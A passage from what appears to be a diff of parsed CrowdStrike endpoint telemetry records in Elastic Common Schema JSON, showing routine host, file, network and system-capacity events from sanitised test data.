Drive\",\"ContextTimeStamp\":\"1625677332.283\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"VolumeMediaBSDName\":\"disk2s2\",\"VolumeMountPoint\":\"/private/tmp/KSInstallAction.dn6J5Xa1M4/m\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"FsVolumeUnmountedMacV1\",\"id\":\"ffffffff-1111-11eb-8fd9-06866dcbd3d5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffed984e248973f3ada1eb543d\",\"timestamp\":\"1625677334451\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffffed984e248973f3ada1eb543d", - "os": { - "type": "macos" - } - }, - "message": "FsVolumeUnmounted", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffed984e248973f3ada1eb543d", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:34.879Z", - "crowdstrike": { - "ConfigStateHash": "2300098580", - "ConnectionFlags": "0", - "ContextProcessId": "328911864662804336", - "ContextTimeStamp": "2021-07-07T17:04:34.525Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05", - "name": "NetworkListenIP4LinV5" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffff2a0d484da8f7a9cf8bde7164" - }, - "event": { - "action": "NetworkListenIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:34.879Z", - "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05|ffffffff2a0d484da8f7a9cf8bde7164|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677474.525\",\"ConfigStateHash\":\"2300098580\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"328911864662804336\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"23165\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4LinV5\",\"id\":\"ffffffff-1111-11eb-88fd-06a17d0fdc05\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff2a0d484da8f7a9cf8bde7164\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677474879\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff2a0d484da8f7a9cf8bde7164", - "os": { - "type": "linux" - } - }, - "message": "NetworkListenIP4", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff2a0d484da8f7a9cf8bde7164", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "328911864662804336" - }, - "related": { - "hash": [ - "2300098580" - ], - "ip": [ - "67.43.156.14", - "0.0.0.0" - ] - }, - "source": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 23165 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:27.114Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextProcessId": "363122200934575406", - "ContextTimeStamp": "2021-07-07T17:05:26.828Z", - "ELFSubType": "4", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "SHA256HashData": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-985c-02152dd35bc1", - "name": "ELFFileWrittenMacV1" - }, - "device": { - "id": "ffffffff28414c2293e35c360213e723" - }, - "event": { - "action": "ELFFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:27.114Z", - "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"event_simpleName\":\"ELFFileWritten\",\"ContextTimeStamp\":\"1625677526.828\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"363122200934575406\",\"Size\":\"38798952\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027\",\"FileIdentifier\":\"040000010000000000000000000000006793f80200000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ELFFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"ELFSubType\":\"4\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677527114\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe\"}" - }, - "file": { - "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64", - "extension": "nexe", - "hash": { - "sha256": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027" - }, - "inode": "040000010000000000000000000000006793f80200000000", - "name": "zoom_x86_64.nexe", - "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe", - "size": 38798952, - "type": "file" - }, - "host": { - "id": "ffffffff28414c2293e35c360213e723", - "os": { - "type": "macos" - } - }, - "message": "ELFFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff28414c2293e35c360213e723", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "363122200934575406", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:03.466Z", - "crowdstrike": { - "BootArgs": [ - "BOOT_IMAGE=/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64", - "root=UUID=9f548782-8f9f-4dd9-873a-436ea8f3e8a6", - "ro", - "console=tty0", - "console=ttyS0,115200n8", - "net.ifnames=0", - "biosdevname=0", - "nvme_core.io_timeout=4294967295", - "rd.emergency=poweroff", - "rd.shell=0" - ], - "ConfigBuild": "1007.8.0011611.1", - "ConfigStateHash": "3712162471", - "MajorVersion": "4", - "MinorVersion": "14", - "OSVersionFileData": "4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a", - "OSVersionFileName": "/etc/os-release", - "RFMState": "1", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-93d4-0624c36f3a79", - "name": "OsVersionInfoLinV4" - }, - "device": { - "id": "ffffffff2d1245c0a32d5efcf9351272" - }, - "event": { - "action": "OsVersionInfo", - "category": [ - "host" - ], - "created": "2021-07-07T17:03:03.466Z", - "id": "ffffffff-1111-11eb-93d4-0624c36f3a79|ffffffff2d1245c0a32d5efcf9351272|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"MajorVersion\":\"4\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a\",\"BootArgs\":\"BOOT_IMAGE\\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\\u003dUUID\\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\\u003dtty0 console\\u003dttyS0,115200n8 net.ifnames\\u003d0 biosdevname\\u003d0 nvme_core.io_timeout\\u003d4294967295 rd.emergency\\u003dpoweroff rd.shell\\u003d0\",\"ConfigStateHash\":\"3712162471\",\"AgentVersion\":\"6.19.11611.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"14\",\"OSVersionString\":\"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"OsVersionInfoLinV4\",\"RFMState\":\"1\",\"id\":\"ffffffff-1111-11eb-93d4-0624c36f3a79\",\"OSVersionFileName\":\"/etc/os-release\",\"aid\":\"ffffffff2d1245c0a32d5efcf9351272\",\"timestamp\":\"1625677383466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff2d1245c0a32d5efcf9351272", - "os": { - "type": "linux", - "version": "Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64" - } - }, - "message": "OsVersionInfo", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff2d1245c0a32d5efcf9351272", - "version": "6.19.11611.0" - }, - "related": { - "hash": [ - "3712162471" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:59.398Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "364849347227309005", - "ContextTimeStamp": "2021-07-07T17:03:59.099Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "USN": "89566685", - "UnixMode": "384", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9262-0268ab613b49", - "name": "CriticalFileModifiedMacV2" - }, - "device": { - "id": "ffffffff761b4a7d9962dd9e7e776044" - }, - "event": { - "action": "CriticalFileModified", - "category": [ - "file" - ], - "created": "2021-07-07T17:03:59.398Z", - "id": "ffffffff-1111-11eb-9262-0268ab613b49|ffffffff761b4a7d9962dd9e7e776044|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "alert", - "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1625677439.099\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364849347227309005\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"04000001000000000000000000000000cdf3100100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"USN\":\"89566685\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileModifiedMacV2\",\"id\":\"ffffffff-1111-11eb-9262-0268ab613b49\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff761b4a7d9962dd9e7e776044\",\"timestamp\":\"1625677439398\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/user9.plist/\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "/private/var/db/dslocal/nodes/Default/users", - "inode": "04000001000000000000000000000000cdf3100100000000", - "name": "user9.plist", - "path": "/private/var/db/dslocal/nodes/Default/users/user9.plist/", - "type": "dir" - }, - "host": { - "id": "ffffffff761b4a7d9962dd9e7e776044", - "os": { - "type": "macos" - } - }, - "message": "CriticalFileModified", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff761b4a7d9962dd9e7e776044", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364849347227309005", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2021-07-07T17:04:49.786Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceIndex": 6, - "NeighborList": [ - "1C-AB-C0-9B-10-A2", - "2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2", - "0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-ac8a-06b5e1186139", - "name": "NeighborListIP6MacV1" - }, - "device": { - "id": "ffffffff01c7450180352a7c58a28fb4" - }, - "event": { - "action": "NeighborListIP6", - "category": [ - "host", - "network" - ], - "created": "2021-07-07T17:04:49.786Z", - "id": "ffffffff-1111-11eb-ac8a-06b5e1186139|ffffffff01c7450180352a7c58a28fb4|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"NeighborListIP6\",\"ConfigStateHash\":\"3090255842\",\"NeighborList\":\"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP6MacV1\",\"id\":\"ffffffff-1111-11eb-ac8a-06b5e1186139\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01c7450180352a7c58a28fb4\",\"timestamp\":\"1625677489786\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff01c7450180352a7c58a28fb4", - "os": { - "type": "macos" - } - }, - "message": "NeighborListIP6", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff01c7450180352a7c58a28fb4", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:03.057Z", - "crowdstrike": { - "ConfigStateHash": "1325353086", - "ContextProcessId": "364952259879648742", - "ContextTimeStamp": "2021-07-07T17:03:02.785Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "IsOnRemovableDisk": "0", - "SHA256HashData": "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc1-029257dbe83b", - "name": "NewScriptWrittenMacV3" - }, - "device": { - "id": "ffffffffcebd42c0890d59b54279d3d3" - }, - "event": { - "action": "NewScriptWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:03:03.057Z", - "id": "ffffffff-1111-11eb-9dc1-029257dbe83b|ffffffffcebd42c0890d59b54279d3d3|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677382.785\",\"UserName\":\"user3\",\"ConfigStateHash\":\"1325353086\",\"ContextProcessId\":\"364952259879648742\",\"Size\":\"8052\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6\",\"FileIdentifier\":\"04000001000000000000000000000000ef07570000000000\",\"ConfigBuild\":\"1007.4.0013806.1\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc1-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffcebd42c0890d59b54279d3d3\",\"timestamp\":\"1625677383057\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Users/user3/git/it_eng_scripts/depnotify_starter", - "extension": "sh", - "inode": "04000001000000000000000000000000ef07570000000000", - "name": "dep_notify_starter.sh", - "path": "/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh", - "size": 8052, - "type": "file" - }, - "host": { - "id": "ffffffffcebd42c0890d59b54279d3d3", - "os": { - "type": "macos" - } - }, - "message": "NewScriptWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffcebd42c0890d59b54279d3d3", - "version": "1007.4.0013806.1" - }, - "process": { - "entity_id": "364952259879648742", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6", - "1325353086" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "user3" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user3" - } - }, - { - "@timestamp": "2021-07-07T17:03:07.216Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "CpuClockSpeed": "2400000000", - "CpuFeaturesMask": "7494065083908067", - "CpuProcessorName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz", - "CpuSignature": "591597", - "CpuVendor": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "LogicalCoreCount": 16, - "MemoryTotal": "17179869184", - "PhysicalCoreCount": 8, - "ProcessorPackageCount": 1, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b714-066001392751", - "name": "SystemCapacityMacV1" - }, - "device": { - "id": "fffffffff2c7432859ff6bbe1a0bd6af" - }, - "event": { - "action": "SystemCapacity", - "category": [ - "host" - ], - "created": "2021-07-07T17:03:07.216Z", - "id": "ffffffff-1111-11eb-b714-066001392751|fffffffff2c7432859ff6bbe1a0bd6af|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"SystemCapacity\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.13\",\"CpuClockSpeed\":\"2400000000\",\"PhysicalCoreCount\":\"8\",\"CpuFeaturesMask\":\"7494065083908067\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LogicalCoreCount\":\"16\",\"Entitlements\":\"15\",\"name\":\"SystemCapacityMacV1\",\"CpuVendor\":\"0\",\"CpuProcessorName\":\"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\",\"id\":\"ffffffff-1111-11eb-b714-066001392751\",\"CpuSignature\":\"591597\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fffffffff2c7432859ff6bbe1a0bd6af\",\"ProcessorPackageCount\":\"1\",\"MemoryTotal\":\"17179869184\",\"timestamp\":\"1625677387216\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "fffffffff2c7432859ff6bbe1a0bd6af", - "os": { - "type": "macos" - } - }, - "message": "SystemCapacity", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "fffffffff2c7432859ff6bbe1a0bd6af", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:02:48.429Z", - "crowdstrike": { - "BootTimeFunctionalityLevel": "255", - "ConfigStateHash": "3090255842", - "CurrentFunctionalityLevel": "2", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "FirmwareAnalysisEclConsumerInterfaceVersion": "0", - "FirmwareAnalysisEclControlInterfaceVersion": "0", - "PciAttachmentState": "65535", - "ReasonOfFunctionalityLevel": "3", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7", - "name": "FirmwareAnalysisStatusMacV2" - }, - "device": { - "id": "ffffffff0d7b4d839912e55b4755e85b" - }, - "event": { - "action": "FirmwareAnalysisStatus", - "category": [ - "host" - ], - "created": "2021-07-07T17:02:48.429Z", - "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7|ffffffff0d7b4d839912e55b4755e85b|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"FirmwareAnalysisStatus\",\"ConfigStateHash\":\"3090255842\",\"FirmwareAnalysisEclControlInterfaceVersion\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"FirmwareAnalysisEclConsumerInterfaceVersion\":\"0\",\"BootTimeFunctionalityLevel\":\"255\",\"ReasonOfFunctionalityLevel\":\"3\",\"CurrentFunctionalityLevel\":\"2\",\"Entitlements\":\"15\",\"name\":\"FirmwareAnalysisStatusMacV2\",\"id\":\"ffffffff-1111-11eb-ba57-0214a0d89bf7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff0d7b4d839912e55b4755e85b\",\"timestamp\":\"1625677368429\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"PciAttachmentState\":\"65535\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff0d7b4d839912e55b4755e85b", - "os": { - "type": "macos" - } - }, - "message": "FirmwareAnalysisStatus", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff0d7b4d839912e55b4755e85b", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:04.544Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "InDiscards": "0", - "InErrors": "0", - "InMulticastPkts": "0", - "InOctets": "0", - "InUcastPkts": "0", - "InUnknownProtos": "0", - "InterfaceAlias": "utun2", - "InterfaceIndex": 17, - "InterfaceType": "1", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "NetLuidIndex": 2, - "OutErrors": "0", - "OutMulticastPkts": "0", - "OutOctets": "0", - "OutUcastPkts": "0", - "PhysicalAddressLength": 0, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a272-0294ad12fbe7", - "name": "LocalIpAddressIP4MacV1" - }, - "device": { - "id": "ffffffff557f4b99a0afdea9ce8cd6fa" - }, - "event": { - "action": "LocalIpAddressIP4", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:05:04.544Z", - "id": "ffffffff-1111-11eb-a272-0294ad12fbe7|ffffffff557f4b99a0afdea9ce8cd6fa|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.13\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"utun2\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"17\",\"event_platform\":\"Mac\",\"InterfaceType\":\"1\",\"id\":\"ffffffff-1111-11eb-a272-0294ad12fbe7\",\"PhysicalAddressLength\":\"0\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677504544\",\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"3090255842\",\"PhysicalAddress\":\"\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP4MacV1\",\"aid\":\"ffffffff557f4b99a0afdea9ce8cd6fa\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff557f4b99a0afdea9ce8cd6fa", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressIP4", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff557f4b99a0afdea9ce8cd6fa", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.13", - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:04:59.681Z", - "crowdstrike": { - "ConfigStateHash": "4288861242", - "Entitlements": "15", - "MD5HashData": "894356eb59e279696c304f07091b7fde", - "NDRoot": "321385814512398584", - "RGID": "0", - "RUID": "0", - "SHA256HashData": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa", - "SVGID": "0", - "SVUID": "0", - "SessionProcessId": "314116638974342642", - "SourceProcessId": "321385814512398584", - "SourceThreadId": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-ac87-06decddc17a1", - "name": "ProcessRollup2LinV5" - }, - "device": { - "id": "ffffffff70d140ca9ba97f0dddd14137" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2020-11-08T17:04:59.681Z", - "id": "ffffffff-1111-11eb-ac87-06decddc17a1|ffffffff70d140ca9ba97f0dddd14137|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"CommandLine\":\"uname 